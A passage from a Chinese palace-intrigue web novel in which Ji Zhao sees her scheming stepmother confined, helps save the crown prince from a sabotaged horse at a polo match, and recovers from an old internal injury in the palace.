这侯府的侯夫人是失心疯了不成? 她的女儿可是要成为亲王妃。大夫人当众毁了纪昭的名声能得到什么好处不成? 正在这时,有人喊道:“镯子在这里。” 有人捧了一个木匣子匆匆过来,身后还跟着两个家丁。 老夫人:“从哪儿找到的?” 家丁:“是在西正院的一棵树洞下发现的。我们三人巡守,瞧见有人鬼鬼祟祟的在树下埋什么,上前看是这丫头。” 他们将一个小丫头拉了出来。 大夫人看见那小丫头瞬间脸色难看。 张嬷嬷认出那丫头,是她的孙女砚儿。 张嬷嬷焦急扑了出来:“老夫人饶命,一定是有误会。” 家丁:“有什么误会?人赃并获,是她偷了大夫人的镯子。” 小丫头吓傻了,呜呜哭着,指着大夫人身边贴身丫鬟:“是云儿姐姐让我藏着的,她还说是大夫人吩咐的……” 众人哗然。 大夫人脸一阵红一阵青,半天说不了一句话。 老夫人看向晋阳侯:“你看要不要管管?” 晋阳侯又丢脸又生气,对大夫人怒叱:“还不赶紧回院子去!” 他对众人赔笑:“内子前些日子中了邪,脑子有点糊涂了,镯子肯定是她放错了地方才说是旁人拿的。这闹出了好大一场笑话,实在是太惭愧。” 大夫人:“侯爷,我不是……” 晋阳侯:“还不下去!” “来人,把大夫人扶下去。” 他声音不高,但口气很差。下人赶紧左右搀扶着大夫人往回走。 大夫人还想要辩解,老夫人在后面对贵人们笑道:“去花园赏花,不要坏了兴致。” 老夫人催促贵人们往花园走,郑国公夫人和郭国夫人笑着跟着走了。 走到了花园,众人便上了亭子。 奶娘文氏前来,纪昭扶着她,对老夫人和晋阳侯垂泪:“奶娘自从我小时候就看顾我,女儿只是和奶娘亲近了些。没想到母亲竟然容不下她,要把她置于死地。” 晋阳侯理亏,讪讪道:“这不是还奶娘一个清白了吗?你是女儿就不要计较你母亲的错处。” 老夫人恨铁不成钢:“你说得倒是轻巧。当着这么多人的面闹腾,她可有把你这个侯爷的颜面放在眼里?!你个蠢东西!” 晋阳侯:“……” 老夫人对纪昭:“如今贵客还没散去,好昭儿你先忍忍,顾全大局。祖母会帮你主持公道。” 纪昭这才破涕为笑。 老夫人让人领着奶娘文氏下去,还特地让人拿了二十两银子当做压惊的赏钱。 纪昭前去招呼几位夫人们。 几位夫人们都同情瞧着纪昭。 郑国公夫人道:“准王妃不要伤心了,牙齿和舌头都会磕绊,更何况亲母女有了嫌隙也是正常。” 郭国夫人安慰:“兴许是有什么误会。侯夫人也断不可如此险恶用心。” 纪昭叹气:“平日母亲对我十分严苛,总是要我做得最好。如今我就算是风光了,母亲兴许觉得我还有些不足。 又或许是真的母亲中了邪,疑神疑鬼怀疑的,这才被人利用了去。” 她故意说了两种可能。 前一种可能太过匪夷所思,哪有亲母亲不愿意女儿风光又体面,怎么会想着当众害她? 那就是后一种可能——侯夫人中邪了,疑神疑鬼的。 于是晋阳侯府侯夫人秦氏在宴席上闹的这一出传遍了京城勋贵和世家圈子。 人人都说侯夫人没福气,年纪轻轻就得了癔症。 …… 男宾那边,晋阳侯老脸微红回来。 他向太子萧澈、睿亲王萧烨请罪:“是我无能,闹出这等丑事来。” 他能对女宾客们说大夫人是中了邪,但在太子和睿亲王面前,他不敢如此糊弄。 太子萧澈不语,看向睿亲王萧烨。 萧烨冷冷道:“晋阳侯,令夫人既然中了邪就好生养着病,不要放出来了。” 晋阳侯心中一惊,急忙点头:“是是,是该好好养着,直到大婚前都不敢放出来。” 陈王吃瓜了大半天,突然说:“哎,我瞧着侯夫人不简单啊。” 晋阳侯:“……” 陈王又对萧烨道:“说起来,你这个未来的岳母和你王妃长得不算很像,倒是那个什么表小姐的和她简直一个模子印出来的。该不会是她偷生的吧?” 众人:“……” 晋阳侯:“!!!” 第196章 大夫人被圈禁起来 陈王说完才发现气氛不对劲。 他讪笑:“这个,我只是玩笑。” 萧烨懒得搭理他,对晋阳侯:“说起来内宅不稳大概因为长幼无序,尊卑不分。孤听说晋阳侯迟迟不立侯世子。” 晋阳侯汗如雨下:“折子已经写好了,今日忘了送入宗人府。” 萧烨冷笑:“晋阳侯的记性好差。许是忘了自己也是孤的岳丈吧?” 晋阳侯扑通跪下来:“不敢,万万不敢。” 他急的想赌咒发誓。 心中那点犹豫也彻底没了,只想赶紧将折子交了就好。左右纪荣是自己的亲儿子,虽然不亲近,但也不怕将来他苛待老子。 晋阳侯退了。 太子萧澈皱眉:“晋阳侯贪权,又小气,和皇婶婶完全不一样。” 萧烨不语。 陈王在旁边喝果酒,笑眯眯说:“人说龙生九子。我与十四虽然是亲兄弟,但他从小事事都比我强百倍,这没啥稀奇的。” 萧烨横了他一眼:“你倒是有自知之明。” 陈王又凑过来:“你们当真没瞧见吗?那大夫人好奇怪,一副要害死亲女的恶毒样子。啧啧……” 萧烨突然想起了纪昭先前对自己说的话。 他眸色动了动。 …… 女宾处赏了一会儿景,便一一告辞了。 今日她们很尽兴——侯夫人中邪的八卦,足够她们回去好好说上一段日子了。 纪昭到了西正院,还没进去就听见里面一阵哭声震天。 大夫人站在屋前,脸色灰败瞧着被按着打板子的砚儿。 砚儿已经被打了十几个板子,浑身是血,哭嚎着求饶。张嬷嬷跪着,摸着泪求情。 晋阳侯冷笑:“打,还有二十板,打完了发卖出去。” 张嬷嬷撕心裂肺:“侯爷饶命啊。砚儿还小,她卖了没活路啊。” 她扑过去哀求,晋阳侯一脚踹翻:“老货还敢求饶?就是有你等这些成日不干正事的老东西将侯府搅得天翻地覆。若是再敢求饶,连你一起卖了。” 张嬷嬷被踹出去,吐了一口血。 大夫人闭了眼,不敢再看。 张嬷嬷是她的心腹,从进纪府就一直伺候着。 打了砚儿踹了张嬷嬷,等于在大夫人的脸上反复抽。 晋阳侯又看向大夫人身边浑身发抖的丫鬟和婆子,怒目而视:“仔细点皮,以后在大夫人身边伺候,再让她胡说胡做一概把你们先打死了。” 大夫人忍不住:“侯爷,您……” 晋阳侯冷冷盯着她,将大夫人脱口而出的话都盯了回去。 “夫人,你中了邪神志糊涂了,在今日闹出这等事来,若是往常,本侯必休你!” 大夫人浑身发抖。 晋阳侯:“以后你就在西正院养着病,没事就不要出院门了。” 大夫人几乎要吐血。 晋阳侯这命令明显是要把她软禁起来。 别说管家权了,就是这院门出一步都难了。 “侯爷不可如此对我。”大夫人终于害怕了,跪下苦苦哀求,“今日是一场误会,都是这些下人做的孽,我一概不知。” 晋阳侯甩开她的手,冷笑:“你不知?你怎么会不知? 怕你不死心,要告诉你两件事:一是账册都交出去了,张保富自身难保。你做的恶事够死一百次。要不是昭儿有婚事在身断然不能传出恶名,你如今早就在监牢里。二是,我已经交了折子给宗人府,侯世子定了,是老大。” “啊!” 大夫人呆愣片刻后撕心裂肺哭嚎起来,完全没有了从前的优雅从容。 “原来你们合谋起来算计我!我就出府一趟,你们就偷着处置我的人……还有侯世子,纪世德,你有没有良心? 说好了你要给蓉儿的。你竟然给了和那个农妇生的……” 晋阳侯最恨旁人提起他从前不发达时的事,一听这话怒了。 他一脚踹翻大夫人:“阿荣他娘才不是农妇,她也是良家子!别以为你高贵多少,你家里就是个臭酸秀才,一肚子都是迂腐。” 大夫人被踹,倒地不起。 她自出嫁后就没被丈夫打过一下,如今被踹,简直天塌了。 “你打我?你竟然打我?” 大夫人扑上去疯狂要挠晋阳侯。 晋阳侯是有武功在身的,哪能让她得逞,推了她一把,怒而离开了西正院。 在院门处,正好瞧见白沁雪匆匆古来。 迎面撞上,晋阳侯突然想起了陈王那一句“该不会是偷生的吧?”,瞬间一股血涌上心头。 他越看越像,简直一个模子印出来。 白沁雪见晋阳侯死死盯着自己,阴沉沉的。 她心中害怕,行礼:“侯爷。” 晋阳侯心中有疑虑,忍着怒气:“你来做什么?” 白沁雪:“来看看母亲。” “呵,母亲?”晋阳侯听了更加刺耳:“她又不是你真正的母亲,你倒是孝顺。” 白沁雪不敢回答,战战兢兢。 这一番怯弱姿态越发和大夫人年轻时像极了。 晋阳侯想发作,但无凭无据的也没法发作人。 他怒道:“以后你在沁芳阁安心待嫁,没事就不要来西正院了。夫人她要养病,谁都不能见。” 晋阳侯说完拂袖离去。 白沁雪呆愣在当场,只觉得寒意十足。 大夫人失败了还连累了她。 …… 纪昭被萧烨让人唤了过来。 亭子里还有陈王,太子萧烨去宽敞的地方玩了,并没有在这。 萧烨开门见山:“你那个母亲有猫腻。她不应该如此对你。不过孤已经让晋阳侯将她圈起来,不会再出来作妖了。” 陈王:“也许你不是她亲生的,所以她如此害你。” 纪昭:“……” 萧烨看了一眼陈王:“老九,你要是闲的慌去陪太子玩。” 陈王摆手:“我不去。太子不好玩。我想和你玩。” 萧烨:“你不是要扩王府吗?她给想了个办法,你报给皇帝就行了。” 陈王笑道:“我不去。在京城好好的,我为何要去西南受苦?” 萧烨:“……” 天被聊死了,萧烨很想打陈王一顿。 最后萧烨说:“我要给准王妃建个冰窖,还有马厩也重新弄弄,不然配不上送她的汗血宝马,你去瞧瞧怎么建。” 陈王眼睛亮了:“这个我在行。十四弟媳,你只要说冰窖要做多大,放在哪儿。我一准几天就给你做好了。” 纪昭:“哪敢劳动陈王殿下?万万不可。” 陈王无所谓:“没事,我闲的慌。只要不让我去赈灾就行。” 萧烨:“找点事让他干,不然他闲着会闯祸。刚才就险些闯了祸。” 纪昭疑惑看向陈王。 陈王讪讪笑:“我只是说错话了。我去看冰窖建在哪儿好。你们小两口要说悄悄话,我懂。我懂。” 陈王赶紧走了。 第197章 马球上纪昭初露锋芒 萧烨:“今日宴席可算顺利?” 纪昭知道他问的是两个妹妹结亲的事,含笑:“很顺利,明年侯府就有喜事了。” 萧烨瞧了她一眼,慢慢道:“侯世子定了,晋阳侯不敢再拖。孤让他交折子,他不敢不交。” 纪昭大喜,郑重行礼:“多谢睿王帮忙。” 萧烨:“侯世子本就应该是纪荣的,晋阳侯心眼小又贪心,想牢牢把着侯府之权。孤敲打过他了。” 纪昭听了心中一暖,眼中便有了感激。 外人看萧烨生人勿近,实则他外冷内热,还份外细心。 正说话间,太子的侍从前来请:“太子殿下说想去马场学马球,问殿下和准王妃要不要一起去?” 萧烨:“哪个马场?” 京城的马场不多,只有三处。 两处在城南,一处在城东。晋阳侯府在城南偏城西处,所以萧烨才有此一问。 侍从:“是裕城门,城西的马场。” 萧烨:“是陈王撺掇他去的吧?” 侍从没忍住笑,点头:“是的。陈王说马球好玩,太子殿下便起了兴致。” 果然如此。 纪昭笑:“这陈王殿下可真是贪玩。太子殿下跟着他倒是很多乐子。” 萧烨:“九哥从小就这个性子。读书是一个字都读不进去,说起玩乐那是样样喜欢,可偏偏他又资质愚钝,玩乐什么的还输给了旁人。” 他说着,唇边勾起淡淡的笑容。 “可能是他笨,皇兄们都喜欢捉弄他。老八时常让他吃亏背锅。” 说起被圈起来的齐王,萧烨的话便多了些。 纪昭问:“殿下和陈王玩的多吗?” 她好奇。 萧烨脸上的笑容消失,半天才慢慢道:“小时候玩过几次,不过他不太与我亲近。他一直喜欢和老三玩。成年后也非要和老三封地挨着,先帝不得不将他送到峡南那个穷地方去。” 纪昭又好奇:“那为何现在陈王一直黏着殿下?肯定是幼时感情好。” 萧烨看了她一眼,冷哼:“何谈感情好?那只是因为他觉得孤瘸了一条腿,又可怜又觉得新奇……” 纪昭:“……” 纪昭匆匆去换一套衣衫,打马球用的。 与睿亲王萧烨去了裕城门的马场,外面已经围了不少禁军侍卫,里面是内厂的带刀侍卫。 马场挺大,很平整。 太子萧澈骑在一匹枣红色的马上挥舞马球杆。陪他玩的都是精挑细选的世家子弟,还有两个同龄的郡世子。 纪荣亲自在场外看着。 他如今是内厂统领,责任重大,所以下了宴席就马不停蹄跟太子萧澈。 陈王穿着骑马装,挥舞球杆对着太子萧澈说了打马球的规则。 场面热火朝天。 萧烨领着纪昭到了凉棚下坐着。 他问:“你会打马球吗?” 纪昭看了看,摇头:“没打过,不过应该能上手。” 萧烨:“那一会下去试试。” 纪昭本想拒绝。萧烨:“京城最近兴起打马球,世家贵族男女都很有兴致,你也学。” 纪昭含笑:“好。” 萧烨是个不落人后的主,他的意思应该是让纪昭赶紧具备亲王妃的能耐。 能记住繁文缛节不算什么,言行端庄也不值一提,能和世家贵妇们打成一片才是真本事。 如今纪昭身边有郑国公夫人、郭国夫人捧场,只能算一半成功。 能真正打入老世家圈内,可能才是萧烨真正想要的。 纪昭想着,其实不知道自己领会错了萧烨的意思。 纪昭看了一会儿,便知道了马球的规则。 她下了场,拿了马球杆对陈王说:“请陈王指点我。” 陈王见她下场,十分高兴:“好,边打我边教你。你与太子一队。” 纪昭从善如流。 太子萧澈很紧张:“十四皇婶婶,你马术怎么样?我发现骑术好的,才能打得好。” 纪昭微微一笑:“骑术还行,太子一会儿跟着我,我传球给你。” 太子萧澈见纪昭笑容晏晏,一派从容,便有了信心。 他赶紧呼唤身后东宫的陪读儿郎,让他们配合纪昭。 吹哨为号。 纪昭的马当先跃了出去,吓了对面陈王一跳。 她手起棍落,颠起马球往陈王的球门而去。??她颠球生疏,但好在骑术精湛。虽是几次失误,被陈王一队夺了球,但很快她操控马又去抢了回来。 这一争一抢,精彩极了。 场内场外都爆发出喝彩声。都是为纪昭的精湛骑术。 纪昭丢了两个球后,终于抢到了一个球。正要入陈王球门,她心念电转,眼角余光瞧见太子萧澈。 一抬手,球给传给了太子萧澈。 太子萧澈大喜,球杆用力挥出,球入了球门。 太子萧澈欢呼起来,其余儿郎也跟着喝彩。 陈王擦着汗过来:“十四弟媳你可真厉害。再打下去我就输你了。” 纪昭:“那还打不打?” 陈王:“打。” 很快陈王就后悔了,整场下来,陈王输了十八个球。太子萧澈和纪昭一队大获全胜。 到了凉棚,陈王后悔极了:“十四,你这个准王妃太不给面子了。” 萧烨面上带着浅笑,勾唇:“什么不给面子?是你球技不行。” 陈王瞧着他:“你也下场吧。” 萧烨:“我劝你三思。我下场,就不是输几个球了。” 陈王:“那是什么?” 萧烨似笑非笑:“那叫做屠戮全场。” 陈王哼了一声:“你吹牛。” 纪昭在旁边笑着说:“睿亲王真的没吹牛。他骑术更好。” 她不忍心说,如果球在萧烨手中,那旁人是没机会抢到球的。 陈王不说话了,只是还不服气。 他又嚷嚷还要再打一场,太子萧澈也正兴头上,立刻缠着下场。 纪昭担心太子萧澈输,便笑着说:“我也下去再玩一局。” 陈王哼了一声:“不行,十四弟媳你不能替太子作弊。” 于是他带着太子萧澈下了场。 果然,没了纪昭助阵,太子萧澈一开局就失了三个球。太子萧澈终究还是个小孩,被陈王如此完虐就有点遭受不住打击。 第四个球开始,太子萧澈明显心浮气躁了些,连连催着马去抢球。 纪昭蹙眉,心中有股不安划过。 前世太子萧澈这个时候还不是太子,寿数也不长。继位后只活不到五年,甚至还没真正长大成人。 如今虽说用了肉食,身体看似好了点,但终究是根基没打好。 如此剧烈运动恐怕生了变故,万一…… 第198章 旧伤发作 纪昭下了凉棚,找到大哥纪荣。 她一个眼神,纪荣立刻领会。他干脆上了马,护在太子萧澈身侧。 太子萧澈打球满头是汗,连连催着身下的马。 突然,变故生。 太子萧澈身下的马狂躁起来,不停撅蹄子。太子萧澈在马上坐不稳,摔了下来。 马儿正烦躁,马蹄狠狠朝着太子萧澈的腹部蹬去。 就在这千钧一发之际,纪荣出手了,一把将太子萧澈提了起来,转瞬放在了自己的马上。 众人都没回过神。 纪昭在凉棚看得真切,回过神来背后出了一层冷汗。 萧烨立刻道:“将马场封起来,任何人不得随意出去。” 他眸色冷厉,四周人陡然觉得周身都冷了。 马场很快封了起来。 太子萧澈惊魂未定坐在凉棚中,太医被寻了过来为他查看是否受伤。而那匹发狂的马也被卸了马鞍检查。 最后检查到了马鞍下放了一枚钉子,钉子磨蹭马背,马被疼痛不断刺激,最后才发了狂。 纪昭看见那枚钉子,不起眼,很小,但足够将性格温顺的马儿折磨得发疯。 陈王脸色发白:“十四,有人又要害我!” 萧烨:“……” 纪昭:“……” 陈王哭丧着脸:“打马球是我提议的,如果太子在我跟前出了事,我就完了。皇上会宰了我。” 他哭了起来,很没出息的样子。 太子萧澈不得不出声安慰他。 纪昭:“大哥可否觉得有异样?” 纪荣摇头:“内厂侍卫没机会接触太子的马,只有御马监的几个养马奴,还有牵马的小太监。” 萧烨:“都抓起来。一个个分开审。” 纪昭见他神情冷峻,心里叹气。 以萧烨的脾气估计又要大开杀戒。不过这是必须的手段,谋害储君视同谋逆。 太子萧澈没事,只有一点点皮外伤。所有人都大大松了口气。 九千岁魏曹公得知消息,匆匆赶了过来,接管了此事。 众人暂且回去。 萧烨送纪昭。在马车上他多看了纪昭几眼。 纪昭坦然:“殿下想问什么?” 萧烨眸色微动:“你当真有未卜先知的能耐?” 他亲眼瞧见纪昭出了凉棚去见纪荣。虽不知两兄妹到底说了什么,之后纪荣去护卫太子萧澈是所有人都瞧得清清楚楚的。 纪昭低头:“这倒是没有。是看出太子急切莽撞,怕他御马术不精出岔子。这点大哥也看出来了,所以才会及时出手。” 萧烨仔细看了她一眼,皱眉:“你没说实话。” 纪昭佯装没听懂:“小女确确实实没未卜先知的能耐。” 萧烨听她这么说,知道再逼也不会说出真相。 他淡淡道:“罢了,你这才能没用在对手身上,又算是一功。” 纪昭忍不住勾唇笑了。 今日的事是意外,却也真正帮了萧烨一把,她很知足。 纪昭顺势恭维:“那是因为殿下福气护体,让太子殿下化险为夷。” 萧烨:“孤又不缺奉承的人,你且收收。” 纪昭被训斥了,心里却挺高兴。 一路上两人猜测是谁做了今日的事。 纪昭:“定是太子身边的人,最有可能便是庞贵妃。” 萧烨却摇头:“不一定。自从行宫后她受牵连,已经在后宫闭了宫门不出,应该不会莽撞出手。” 纪昭:“殿下觉得是谁?” 萧烨:“皇上还有其他几位皇子,谁都有可能。” 纪昭心里闪过一个念头,却又觉得不可能。 萧烨观察细致入微,蹙眉:“你又有什么想法?但说无妨。” 纪昭压低声音:“太后呢?” 萧烨一愣。 他还没说话,马车猛地一震,纪昭收势不住直扑萧烨怀里。 两人本就是对面而坐,纪昭这一扑是跪着扑倒。 萧烨一把将她抱住,对外怒道:“出了何事?” 车夫堪堪将马车停下来,安抚好受惊的马儿,道:“王爷,有人冲出来跪在马车前。” 萧烨怒气沉沉:“砍了!” 马车外有一个娇弱女声:“王爷,奴家是殷小娘。奴家求王爷收留。” 纪昭:“……” 纪昭膝盖磕到了车厢,一时间酸痛无比,想起身又被萧烨按着。 她只能道:“殿下,让我起来。” 萧烨放开手,纪昭动了动却又直接跪下,脸色发白,冷汗冒了出来。 萧烨看出了她的不适,复又将她抱住。 “你怎么了?” 纪昭捂着心口,神色痛苦难当。 刚才一惊一乍,一股乱了的内力刚好经过胸臆,瞬间岔了。真气牵动了旧伤,令她痛苦无比。 纪昭无法形容真气岔了的痛苦,紧紧抓住萧烨的长袖。萧烨按住她的手腕,发现她脉象极凌乱。 此时外面还有殷小娘一声声的叫唤,非常烦人。 无比暴躁之气令萧烨俊脸阴沉沉的,几乎要杀人。 “来人,把挡路的人杀了!” “快些回府,王妃受伤了!” 马车外的侍卫听得十分莫名,到底是把人杀了,还是快些回府。 康全安机灵,对着拦路的殷小娘就是一巴掌扇倒地,然后不顾殷小娘哭嚎将人从马车前拖了出去。 “此女要行刺王爷,快将人扣着!” “快些回王府!” 队伍重新动起来,车夫急忙挥动马鞭。 萧烨抱着几乎要痛昏过去的纪昭,对车外冷声命令:“去找裴神医!” 侍卫应了一声,策马去请人了。 一路到了睿王府。 康全安要去掀车帘,却没想到萧烨打横抱着纪昭就跳下马车。 他腿脚不便,下车时跛了一下。 康全安急忙上前:“奴是无根人,让奴背着准王妃,不会坏了准王妃的名声。” 萧烨抿紧薄唇瞧了他一眼,遂将纪昭放在康全安的背上。 …… 纪昭幽幽转醒的时候听见晚意在呜呜哭着。 她以为在西山温泉别苑,叹气:“晚意别哭了,我没事。侯府来人了吗?母亲说了什么……” 眼前迷迷糊糊的光影在闪动,一道黑漆漆的高大人影几步走到了她面前。 纪昭吐出一口气:“我这是旧伤发了吗?要死了吗?” “你旧伤发作,但不会死。” 沉郁的嗓音令纪昭清醒过来。 她吐出气,笑了:“原来我不是在西山。” 萧烨定定瞧着她的脸,伸手探向她的脸:“嗯,没事了。” 修长的手指轻轻放在了她的脸颊上,拂去了水滴。 第199章裕华宫养伤 纪昭旧伤事发突然,后来才知道经过裴神医简单下针医治后,萧烨将她送入后宫皇后处。 所以此时她在裕华宫中。 萧烨:“孤知道你可能不愿回侯府。宫中也有太医,可以修养两日。” 纪昭眸色动了动:“多谢殿下思虑周全。” 她的确不愿意让府中的人知道自己旧伤复发。不为什么,就是单纯不愿意回府让人嘘寒问暖。 萧烨:“孤已经让人回侯府交代了,皇后留你在后宫两日。” 纪昭:“理由不说吗?” 萧烨冷淡:“皇后有召,还需要什么理由?自有风言风语够他们揣测了。” 纪昭了然。 越是不说理由,侯府的人越是不敢轻易询问。再加上马场上太子坠马,差点出大事,整个事头尾连起来,侯府万万不敢声张。 纪昭慢慢放下心来。 萧烨:“太子那边查了,是一个小小的牵马小太监放的钉子。小太监是个孤儿,在魏曹公亲自审问之前就畏罪自尽了。” 纪昭摇头:“要做出这等事的人自然有万全法子,很难找出幕后之人。” 萧烨声音沉冷:“也不全没查到。魏曹公已经着手去查,从那小太监入宫,经手过哪位管事太监,服侍过哪个宫,是怎么调入东宫当差都要捋一遍。” “御马司的太监从上头到下面都得换一遍。这几日宫中也不会太平,不过你不用理会就是。” 纪昭听着。 萧烨瞧着她还苍白的脸色,忽地道:“孤问过裴神医,恢复内力风险极大。你还是不要勉强了。” 纪昭本是靠着床头,听了这话猛地起身:“不,我不会放弃。” 她急急道:“我这些日子勤打坐,所以才会真气岔了。以后我会小心些的。” 肩头薄衫滑落,纪昭没主意,只殷切瞧着萧烨。 她抓住他的长袍:“殿下,我……” 萧烨目光扫过她洁白的肩头,别过头冷冷道:“先养好身子,不然其他都是空谈。” 他拂袖离去,似乎生气了。 纪昭不明所以,不知道哪儿触怒了萧烨。 晚意擦着眼睛进来,低声询问纪昭要不要吃点东西。 纪昭:“我没事,你别哭。” 晚意恨声道:“都是那个叫做什么殷小娘的女人,平白无故地跑出来吓人。” 纪昭没听过这人的名字,询问。 晚意说了。还说:“康公公挺好的,上前扇了那女人几巴掌,让人把她拿下了。还是康公公又背着大小姐进宫呢。” 纪昭听着晚意说着过程,渐渐安心。 过了一会儿,皇后听闻纪昭醒来,匆匆赶来。 皇后见了面,眼眶先红了:“佛主保佑,阿昭你没事就好。刚把你抬进宫的时候,本宫都吓坏了,十四的脸色极差。” 她双手合什:“阿昭你是本宫的恩人,现如今又是太子的恩人,你千万不能有事。” 纪昭:“小女没事。太子也没事吧?” 皇后点头:“都没事。不过……” 她挥退了宫人:“皇上知道这事很生气。后宫要彻查一阵子。” 她问:“阿昭可有知道些什么内情?” 纪昭摇头。 她只是凭着猜测外加观察细致罢了。不过这事倒是给了很多人警醒,太子萧澈虽然立为储君,但暗地的威胁越发多了。 皇后问不出什么来,便关心纪昭的旧伤。 赏了不少名贵的补药,又令太医院的拨了两位太医协同裴神医照顾纪昭。 皇后的赏赐,纪昭接了。 若不是她,太子估计这个时候不是死就是半残,所以这个功劳她领得很坦然。 至于因为这事后宫如何风云变化,纪昭并不关心。 …… 在后宫的日子是富贵又悠闲的,除了一天三顿要喝那些个苦药。 纪昭过得很舒服。 宫中的膳食很好,比侯府好上许多。 她吃了两天,都快吃胖了。 裴神医为她针灸,瑾娘也入了宫为她推血过宫。 瑾娘:“真气岔气是好事,证明大小姐体内的内力又充盈了一些。只是经脉还受损着,得有些时日才能让内力游走顺畅。” 纪昭:“是,不能因噎废食。” 瑾娘见她没退缩,很是欣慰。 纪昭在裕华宫待着,无聊之中想起了康全安。 她将人招了过来,含笑问:“听晚意说你背我入了宫,我得赏你。” 她让晚意拿出准备好的东西送了过去。 康全安却不要:“准王妃吉人天相,逢凶化吉,奴婢只是出点小力,不值准王妃那么多赏赐。” 纪昭坚持,康全安这才收了。 纪昭问起殷小娘来历。康全安说了。 末了,他不屑道:“人还在内厂牢里关着呢,奴婢去看了一回,替准王妃赏了她二十鞭。她以后断不敢再纠缠王爷。” 纪昭挑眉。 她没想到康全安做事有头有尾的,居然还抽空跑去牢房里把殷小娘打了一顿。 这人,挺狠。 她皱眉:“这样做,行吗?” 康全安正色道:“准王妃不要心疼这些个不知好歹的人。王爷救了她一回,她不但不感恩还纠缠王爷,换在别的主子早就打死丢乱葬岗去了。” “且当时马场出事,殷小娘又冲出来,很难不让旁人怀疑她与此事有什么关系。奴婢让人打她,是为了替王爷和准王妃清理跟前的杂碎。” 纪昭听了顿时领悟。 她含笑称赞:“康公公的确是想的周全。” 康全安笑道:“准王妃不怪奴婢添乱,已是极好了。” 纪昭又与康全安说了两句才放了他回去。 晚意见康全安走了,夸:“康公公真是机灵。替大小姐清理了王爷跟前的莺莺燕燕。” 纪昭摇头:“他想的更周全。多亏了他的急智,以后这人有大用。” 一个小太监的政治敏感度居然还比她更高。 如果当时放走了殷小娘,很难不让人怀疑马场的事和萧烨有什么关系。如今殷小娘被囚在内厂牢房,需要时就提出来审一下。 而康全安还担心关系撇得不够干净,特地进了牢房,以惊扰睿亲王准王妃的罪名把她狠狠抽了一顿。 这才是当权者面对被冒犯的真正反应——自然,不做作,杀鸡儆猴之余彻底划清界线。 纪昭细细想着,直到此刻她才真正动了想要接纳康全安为自己人的念头。 第200章 太后召见 纪昭想着怎么将康全安收为己用。 不过康全安是魏曹公给了萧烨的人。始终是效忠萧烨,跟着她可能没什么用武之地。 纪昭想了一会儿,时而想爱才惜才,时而又觉得应该放弃。 正在这时,黄尚宫来了。 她笑容晏晏,带来一个好消息——因马场纪荣救太子有功,龙颜大悦,赐给了他侯世子的身份,外加三品龙威将军职位,还赏了金银珠宝不少。 然后是皇后赏纪昭的。 黄尚宫带来皇后的原话是:“若不是阿昭让太子改了膳食,太子也不会如此康健活泼,且此次马场之事,阿昭也有出力。” 纪昭谢过赏赐。 皇后如今是变着法子赏她东西,生怕少了她一份。 面对好意,纪昭都领了。 马场之事她也有出力,许是纪荣替她说了功劳,皇上不好明着赏,于是吩咐皇后这边赏。 黄尚宫笑眯眯说:“皇后娘娘还说,准王妃若是大婚后,也必须有两位教养嬷嬷跟着。黄陈两位便赐给准王妃,若是还缺就再挑两位,到时候一起送入睿王府。” 纪昭连忙道:“两位嬷嬷就够了。” 黄尚宫点头:“四位教养嬷嬷是顶格亲王妃规制,两位其实刚刚好。教养嬷嬷的俸禄会由内务府那边给。这点准王妃不要担心。” 纪昭笑了笑,谢了。 这估计又是皇后给的恩赏,教养嬷嬷属于女官行列,由内务府给,名义上帮王府省一笔钱。 不过睿亲王萧烨不缺银子,这点俸禄还是给得起的。 主要目的还是天家在展现对睿王府的恩宠。 纪昭隐约觉得这算是天家给睿王府恩宠快到头了。因为赏无可赏,只能拿面子做功夫。 纪昭与黄尚宫说了一会儿话,让人拿了一个重重的香囊给了黄尚宫喝茶。 黄尚宫笑容满面地走了。 两位教养嬷嬷听到消息,特地欢喜进来谢恩。 纪昭:“皇后仁慈,你们两位的俸禄还由内务府给。不过我这边自然不会少了两位嬷嬷的月例银子。等大婚到了王府,府中事务繁多,还得仰仗两位嬷嬷分担。” 两位教养嬷嬷心愿得偿,怎么不高兴? 她们纷纷说了一些效忠的话。 纪昭十分满意,让人赏了她们。 趁着这个高兴的时候,纪昭又将皇后赏赐的东西再拿出一些银子赏了身边的人,还有这两日伺候自己的宫女太监。 也包了一份特地让人带给康全安。 她做的面面俱到,众人都很欢喜,特别是那些伺候的宫女太监们,暗暗下定决心要给这位准睿王妃在宫中扬名。 忙了一阵子,停了下来,纪昭仔细想着自己该什么时候离开后宫。 估摸着马场之事也快处置完了,她也应该回侯府。 纪昭:“问问今日睿王来不来?” 宫人很快去打听回来:“睿王可能来不了。睿王和陈王才刚进御书房,没一个时辰约莫不会出来。” 纪昭心里有小小失落,不过想想大哥纪荣不但成为侯世子,还升了大官,这也许是萧烨助推的。 他给了她助力很多,她不该盯着他要求更多。 纪昭心道:“人要感恩,不要太过贪心。贪心会惹人生厌,还会走上歪路。” 旁边的宫女见纪昭有失落,笑着打趣:“睿王一定会来的。准王妃放一百个心吧。” 纪昭失笑:“我倒是不是非要他来。主要是想商量点事。” 商量何时出宫。 宫女抿嘴笑:“准王妃不用害羞。奴婢可从没见过睿王对哪位小姐如此上心,又和颜悦色的。” 纪昭:“……” 真是百口莫辩了。 到了快晚膳时,纪昭果然没等来萧烨,反而是太后那边派人说要纪昭过去用晚膳。 派来的是一位上了年纪的嬷嬷,一脸严肃。 她皱眉盯着纪昭上下打量:“纪家大小姐,太后问你可否哪儿不适?若是好了些,就去吧。” 纪昭:“太后有召,不敢不去。” 嬷嬷瞧了一眼她身边的人,露出鄙夷:“那我便在殿外等着吧。” 嬷嬷出去了,在外面候着。 纪昭微微蹙眉。这嬷嬷有点来者不善的感觉,像是押着她去似的。 纪昭留了个心眼,让宫女悄悄去御书房门口等着萧烨。 等他出来时,将这事知会他一声。 打扮妥当,纪昭跟着嬷嬷到了太后的宫殿中。 太后年纪很轻,保养得宜,四十七八的年纪看起来像是三十出头的美贵妇。在太后身边坐着两位宫妃,两位极美貌的未婚女子。 纪昭不认识宫妃,却对两位未婚女子只觉得眼熟。 她悄悄打量了下,赫然发现其中一位是谢瑶。 是以后成为谢贵妃的谢瑶。 难怪她觉得眼熟,原来是做鬼的时候从虚妄台窥探见到的权妃。 谢瑶是太后的侄女,选秀送入宫中便步步高升,最后怀了身孕便封贵妃。 她野心勃勃,背靠谢世一族,带着门阀世家和萧烨博弈了好几回。 只可惜最后功亏一篑,谢瑶被废入冷宫。 最后谢瑶为了翻身,甚至出蠢计策打算色.诱萧烨。 这么拙劣的计策当然是没成功,反而惹毛了萧烨,彻底清洗了谢家。 纪昭在电光火石间就在脑子中走完了谢瑶的下半生。 